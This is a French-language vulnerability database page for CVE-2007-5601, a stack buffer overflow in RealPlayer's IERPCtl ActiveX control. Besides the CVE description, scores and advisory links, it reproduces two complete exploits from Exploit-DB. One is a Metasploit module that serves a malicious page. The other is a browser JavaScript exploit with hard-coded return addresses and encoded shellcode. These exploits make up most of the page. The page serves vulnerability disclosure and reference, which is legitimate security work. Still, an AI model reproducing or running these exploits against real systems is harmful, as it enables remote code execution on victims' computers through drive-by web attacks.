CVE-2007-5601 : Détail

CVE-2007-5601

Overflow
67.39%V4
Network
2007-10-20
18h00 +00:00
2017-07-28
10h57 +00:00
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Descriptions du CVE

Stack-based buffer overflow in the Database Component in MPAMedia.dll in RealNetworks RealPlayer 10.5 and 11 beta, and earlier versions including 10, RealOne Player, and RealOne Player 2, allows remote attackers to execute arbitrary code via certain playlist names, as demonstrated via the import method to the IERPCtl ActiveX control in ierpplug.dll.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16497

Date de publication : 2010-05-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: realplayer_import.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-5601' ], [ 'OSVDB', '41430' ], [ 'BID', '26130' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419) [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934) ], 'DisclosureDate' => 'Oct 18 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer filler = rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_english(30724 - payload.encoded.length) # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")] # long Import( # [in] BSTR file, # [in, optional, defaultvalue("")] BSTR playlist, # [in, optional, defaultvalue("")] BSTR clipInfo, # [in, optional, defaultvalue(0)] long bPlayFile, # [in, optional, defaultvalue(0)] long bCopyToMyMusic); # Build out the message content = %Q| <html> <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object> <script language='javascript'> var #{vname} = document.getElementById('#{vname}'); var #{strname} = new String('#{sploit}'); #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 30692

Date de publication : 2007-10-17 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/26130/info RealPlayer is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks of user-supplied input before copying it to an insufficiently sized memory buffer. Attackers can exploit this issue to execute arbitrary code in the context of the application using the affected control (typically Internet Explorer). Successful attacks can compromise the application and possibly the underlying computer. Failed attacks will likely cause denial-of-service conditions. <script language="javascript"> eval("function RealExploit() { var user = navigator.userAgent.toLowerCase(); if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1) return; if(user.indexOf("nt 5.")==-1) return; VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1"; try { Real = new ActiveXObject(VulObject); }catch(error) { return; } RealVersion = Real.PlayerProperty("PRODUCTVERSION"); Padding = ""; JmpOver = unescape("%75%06%74%04"); for(i=0;i<32*148;i++) Padding += "S"; if(RealVersion.indexOf("6.0.14.") == -1) { if(navigator.userLanguage.toLowerCase() == "zh-cn") ret = unescape("%7f%a5%60"); else if(navigator.userLanguage.toLowerCase() == "en-us") ret = unescape("%4f%71%a4%60"); else return; } else if(RealVersion == "6.0.14.544") ret = unescape("%63%11%08%60"); else if(RealVersion == "6.0.14.550") ret = unescape("%63%11%04%60"); else if(RealVersion == "6.0.14.552") ret = unescape("%79%31%01%60"); else if(RealVersion == "6.0.14.543") ret = unescape("%79%31%09%60"); else if(RealVersion == "6.0.14.536") ret = unescape("%51%11%70%63"); else return; if(RealVersion.indexOf("6.0.10.") != -1) { for(i=0;i<4;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.11.") != -1) { for(i=0;i<6;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.12.") != -1) { for(i=0;i<9;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.14.") != -1) { for(i=0;i<10;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } AdjESP = "LLLL\\XXXXXLD"; Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp"; PayLoad = Padding + AdjESP + Shell; while(PayLoad.length < 0x8000) PayLoad += "YuanGe"; // ?~??~-.=! Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0); } RealExploit();") </script>

Products Mentioned

Configuraton 0

Realnetworks>>Realplayer >> Version 10.0

Realnetworks>>Realplayer >> Version 10.5

Realnetworks>>Realplayer >> Version 11_beta

    Références

    http://secunia.com/advisories/27248
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.kb.cert.org/vuls/id/871673
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://www.securitytracker.com/id?1018843
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.vupen.com/english/advisories/2007/3548
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.securityfocus.com/bid/26130
    Tags : vdb-entry, x_refsource_BID
    http://www.us-cert.gov/cas/techalerts/TA07-297A.html
    Tags : third-party-advisory, x_refsource_CERT